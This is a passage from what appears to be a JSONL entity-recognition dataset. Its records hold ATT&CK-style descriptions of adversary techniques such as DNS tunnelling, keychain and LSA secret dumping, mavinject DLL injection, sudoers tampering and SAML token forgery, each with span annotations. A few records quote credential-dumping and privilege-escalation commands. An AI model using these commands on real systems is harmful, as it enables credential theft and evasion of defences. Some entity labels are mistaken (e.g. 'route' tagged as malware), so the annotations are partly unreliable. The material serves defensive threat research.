Install Digital Certificate) on infrastructure under their control.", "spans": {}, "info": {"source": "apt_reports", "name": "Digital Certificates"}}
+{"text": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic (DNS). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.", "spans": {}, "info": {"source": "apt_reports", "name": "DNS Server"}}
+{"text": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.\n\nOn network devices, adversaries may wipe configuration files and other data from the device using Network Device CLI commands such as `erase`.", "spans": {"SYSTEM: SMB": [[722, 725]], "SYSTEM: Windows": [[726, 733]]}, "info": {"source": "apt_reports", "name": "Disk Wipe"}}
+{"text": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.\n\nDNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. Protocol Tunneling). The commands may be embedded into different DNS records, for example, TXT or A records. DNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices. Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.", "spans": {}, "info": {"source": "apt_reports", "name": "DNS"}}
+{"text": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance. A cloud metadata API has been used in at least one high profile compromise.\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.", "spans": {"IP_ADDRESS: 169.254.169.254": [[1250, 1265]], "VULNERABILITY: SSRF": [[987, 991]]}, "info": {"source": "apt_reports", "name": "Cloud Instance Metadata API"}}
+{"text": "An adversary with root access may gather credentials by reading `securityd`’s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization. A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user’s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. Apple’s `securityd` utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.", "spans": {"ORGANIZATION: Apple": [[614, 619], [741, 746], [865, 870]]}, "info": {"source": "apt_reports", "name": "Securityd Memory"}}
+{"text": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.\n\nAdversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings. Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. Domain or Tenant Policy Modification) for their benefit.", "spans": {"TOOL: PowerShell": [[610, 620]], "SYSTEM: Group Policy": [[38, 50], [251, 263], [734, 746], [934, 946]], "SYSTEM: Active Directory": [[331, 347]], "VULNERABILITY: privilege escalation": [[82, 102]]}, "info": {"source": "apt_reports", "name": "Group Policy Discovery"}}
+{"text": "Adversaries may use bootkits to persist on systems. A bootkit is a malware variant that modifies the boot sectors of a hard drive, allowing malicious code to execute before a computer's operating system has loaded. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nIn BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR). The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nIn UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system. An adversary can use the newly created or patched files in the ESP to run malicious kernel code.", "spans": {"SYSTEM: BIOS": [[397, 401], [594, 598]], "SYSTEM: UEFI": [[1010, 1014], [1210, 1214]], "VULNERABILITY: bootkit": [[54, 61], [413, 420], [1066, 1073]]}, "info": {"source": "apt_reports", "name": "Bootkit"}}
+{"text": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information. \n\nSome adversaries may also use Automated Collection on removable media.", "spans": {"TOOL: cmd": [[340, 343]]}, "info": {"source": "apt_reports", "name": "Data from Removable Media"}}
+{"text": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.  However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries . The certificates used during an operation may be created, forged, or stolen by the adversary.  \n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. \n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", "spans": {"SYSTEM: macOS": [[435, 440]], "SYSTEM: Windows": [[423, 430]], "SYSTEM: Linux": [[473, 478]]}, "info": {"source": "apt_reports", "name": "Code Signing"}}
+{"text": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. Dynamic-link Library Injection), allowing for arbitrary code execution (ex. <code>C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL</code>). Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to Dynamic-link Library Injection, Mavinject.exe can also be abused to perform import descriptor injection via its  <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.", "spans": {"FILEPATH: C:\\Windows\\system32\\mavinject.exe": [[435, 468]], "SYSTEM: Windows": [[144, 151], [438, 445]], "ORGANIZATION: Microsoft": [[95, 104], [216, 225], [553, 562]], "VULNERABILITY: code execution": [[409, 423]], "VULNERABILITY: arbitrary code execution": [[399, 423]]}, "info": {"source": "apt_reports", "name": "Mavinject"}}
+{"text": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.", "spans": {"IP_ADDRESS: 169.254.169.254": [[1180, 1195]], "VULNERABILITY: SSRF": [[909, 913]]}, "info": {"source": "apt_reports", "name": "Cloud Instance Metadata API"}}
+{"text": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis.", "spans": {}, "info": {"source": "apt_reports", "name": "Process Hollowing"}}
+{"text": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.", "spans": {"TOOL: cmd": [[299, 302]], "SYSTEM: Windows": [[511, 518]]}, "info": {"source": "apt_reports", "name": "Local Data Staging"}}
+{"text": "Adversaries may match or approximate the name or location of legitimate files, Registry keys, or other resources when naming/placing them. This is done for the sake of evading defenses and observation. \n\nThis may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: `svchost.exe`). Alternatively, a Windows Registry key may be given a close approximation to a key used by a legitimate program. In containerized environments, a threat actor may create a resource in a trusted namespace or one that matches the naming convention of a container pod or cluster.", "spans": {"SYSTEM: Windows": [[392, 399]]}, "info": {"source": "apt_reports", "name": "Match Legitimate Resource Name or Location"}}
+{"text": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS.  The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", "spans": {"MALWARE: route": [[414, 419], [968, 973]]}, "info": {"source": "apt_reports", "name": "Domain Fronting"}}
+{"text": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if added to the root of trust (i.e. Install Root Certificate).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.", "spans": {}, "info": {"source": "apt_reports", "name": "Digital Certificates"}}
+{"text": "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "spans": {}, "info": {"source": "apt_reports", "name": "Stored Data Manipulation"}}
+{"text": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. OS Credential Dumping can be used to obtain password hashes, this may only get an adversary so far when Pass the Hash is not an option. Further,  adversaries may leverage Data from Configuration Repository in order to obtain hashed credentials for network devices. \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.", "spans": {}, "info": {"source": "apt_reports", "name": "Password Cracking"}}
+{"text": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens.  An account can hold additional SIDs in the SID-History Active Directory attribute , allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values  may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, Windows Admin Shares, or Windows Remote Management.", "spans": {"SYSTEM: Windows": [[4, 11], [114, 121], [825, 832], [850, 857]], "SYSTEM: Active Directory": [[235, 251]], "VULNERABILITY: privilege escalation": [[427, 447]]}, "info": {"source": "apt_reports", "name": "SID-History Injection"}}
+{"text": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB. IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\<username>\\Documents\\Outlook Files` or `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook`.", "spans": {"FILEPATH: C:\\Users": [[624, 632], [673, 681]], "SYSTEM: Outlook": [[165, 172], [198, 205], [275, 282], [361, 368], [406, 413], [454, 461], [525, 532], [580, 587], [654, 661], [717, 724]], "ORGANIZATION: Microsoft": [[707, 716]]}, "info": {"source": "apt_reports", "name": "Local Email Collection"}}
+{"text": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain –d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.", "spans": {"SYSTEM: macOS": [[90, 95], [1410, 1415]], "ORGANIZATION: Apple": [[619, 624]]}, "info": {"source": "apt_reports", "name": "Keychain"}}
+{"text": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon. These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "spans": {"SYSTEM: Windows": [[490, 497]]}, "info": {"source": "apt_reports", "name": "Boot or Logon Autostart Execution"}}
+{"text": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts. LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets</code>. LSA secrets can also be dumped from memory.\n\nReg can be used to extract from the Registry. Mimikatz can be used to extract secrets from memory.", "spans": {"TOOL: Mimikatz": [[398, 406]]}, "info": {"source": "apt_reports", "name": "LSA Secrets"}}
+{"text": "A port monitor can be set through the   API call to set a DLL to be loaded at startup.  This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.  Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", "spans": {"FILEPATH: C:\\Windows\\System32": [[121, 140]], "SYSTEM: Windows": [[124, 131]]}, "info": {"source": "apt_reports", "name": "Port Monitors"}}
+{"text": "Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. \n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as Modify System Image, Reduce Key Space, and Disable Crypto Hardware, an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts.", "spans": {}, "info": {"source": "apt_reports", "name": "Weaken Encryption"}}
+{"text": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate. The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>. Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.\n\nAn adversary may utilize Private Keys to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate. This differs from Steal Application Access Token and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to Use Alternate Authentication Material, which may bypass multi-factor and other authentication protection mechanisms.", "spans": {"SYSTEM: Entra ID": [[1126, 1134]], "SYSTEM: Active Directory": [[774, 790]]}, "info": {"source": "apt_reports", "name": "SAML Tokens"}}
+{"text": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications  designed to Steal Application Access Tokens, like OAuth tokens, in order to gain access to protected applications and information.", "spans": {"VULNERABILITY: spearphishing": [[51, 64], [102, 115], [319, 332]]}, "info": {"source": "apt_reports", "name": "Spearphishing Link"}}
+{"text": "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file,  is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., Ingress Tool Transfer) and stored (e.g., Upload Malware) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign.  Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.", "spans": {"SYSTEM: PHP": [[1161, 1164]]}, "info": {"source": "apt_reports", "name": "Masquerade File Type"}}
+{"text": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible. In some cases, adversaries may stop or disable many or all services to render systems unusable. Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.\n\nThreat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.", "spans": {"SYSTEM: SQL Server": [[807, 817]], "SYSTEM: ESXi": [[852, 856]], "SYSTEM: AWS": [[1008, 1011], [1110, 1113]]}, "info": {"source": "apt_reports", "name": "Service Stop"}}
+{"text": "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nDuring malware development, adversaries may intentionally include indicators aligned with other known actors in order to mislead attribution by defenders.\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of Web Services.", "spans": {}, "info": {"source": "apt_reports", "name": "Malware"}}
+{"text": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft.  \n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.", "spans": {"TOOL: Regasm": [[12, 18], [201, 207]], "TOOL: Regsvcs": [[0, 7], [189, 196]], "SYSTEM: Windows": [[23, 30], [253, 260]], "SYSTEM: .NET": [[80, 84]], "ORGANIZATION: Microsoft": [[155, 164]]}, "info": {"source": "apt_reports", "name": "Regsvcs/Regasm"}}
+{"text": "Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. Security Software Discovery) or other defenses (e.g., Virtualization/Sandbox Evasion), as well as potential exploitable vulnerabilities (e.g., Exploitation for Privilege Escalation).\n\nMany OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows. Information about device drivers (as well as associated services, i.e., System Service Discovery) may also be available in the Registry.\n\nOn Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.", "spans": {"SYSTEM: macOS": [[725, 730]], "SYSTEM: Windows": [[569, 576]], "SYSTEM: Linux": [[719, 724]]}, "info": {"source": "apt_reports", "name": "Device Driver Discovery"}}
+{"text": "The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"  Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. When <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>  . In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.", "spans": {"FILEPATH: /var/db/sudo</code>": [[648, 667]], "FILEPATH: /var/db/sudo</code>'s": [[1102, 1123]], "FILEPATH: /etc/sudoers</code>": [[1563, 1582]], "SYSTEM: macOS": [[1700, 1705]], "MALWARE: Proton": [[1422, 1428], [1632, 1638]]}, "info": {"source": "apt_reports", "name": "Sudo Caching"}}
+{"text": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as <code>net user /domain</code> and <code>net group /domain</code> of the Net utility, <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups. PowerShell cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups.", "spans": {"TOOL: PowerShell": [[457, 467]], "SYSTEM: macOS": [[379, 384]], "SYSTEM: Active Directory": [[570, 586]], "SYSTEM: Linux": [[417, 422]]}, "info": {"source": "apt_reports", "name": "Domain Account"}}
+{"text": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer. These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under <code> HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.", "spans": {"SYSTEM: Windows": [[121, 128]], "ORGANIZATION: Microsoft": [[485, 494]]}, "info": {"source": "apt_reports", "name": "Active Setup"}}
+{"text": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.", "spans": {}, "info": {"source": "apt_reports", "name": "Hide Artifacts"}}
+{"text": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by Component Object Model, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via Phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a Command and Scripting Interpreter. DDE execution can be invoked remotely via Remote Services such as Distributed Component Object Model (DCOM).", "spans": {"SYSTEM: Windows 10": [[658, 668]], "SYSTEM: Microsoft Office": [[681, 697], [723, 739]], "SYSTEM: DCOM": [[1429, 1433]], "SYSTEM: Windows": [[20, 27], [658, 665], [1146, 1153]], "ORGANIZATION: Microsoft": [[681, 690], [723, 732]]}, "info": {"source": "apt_reports", "name": "Dynamic Data Exchange"}}
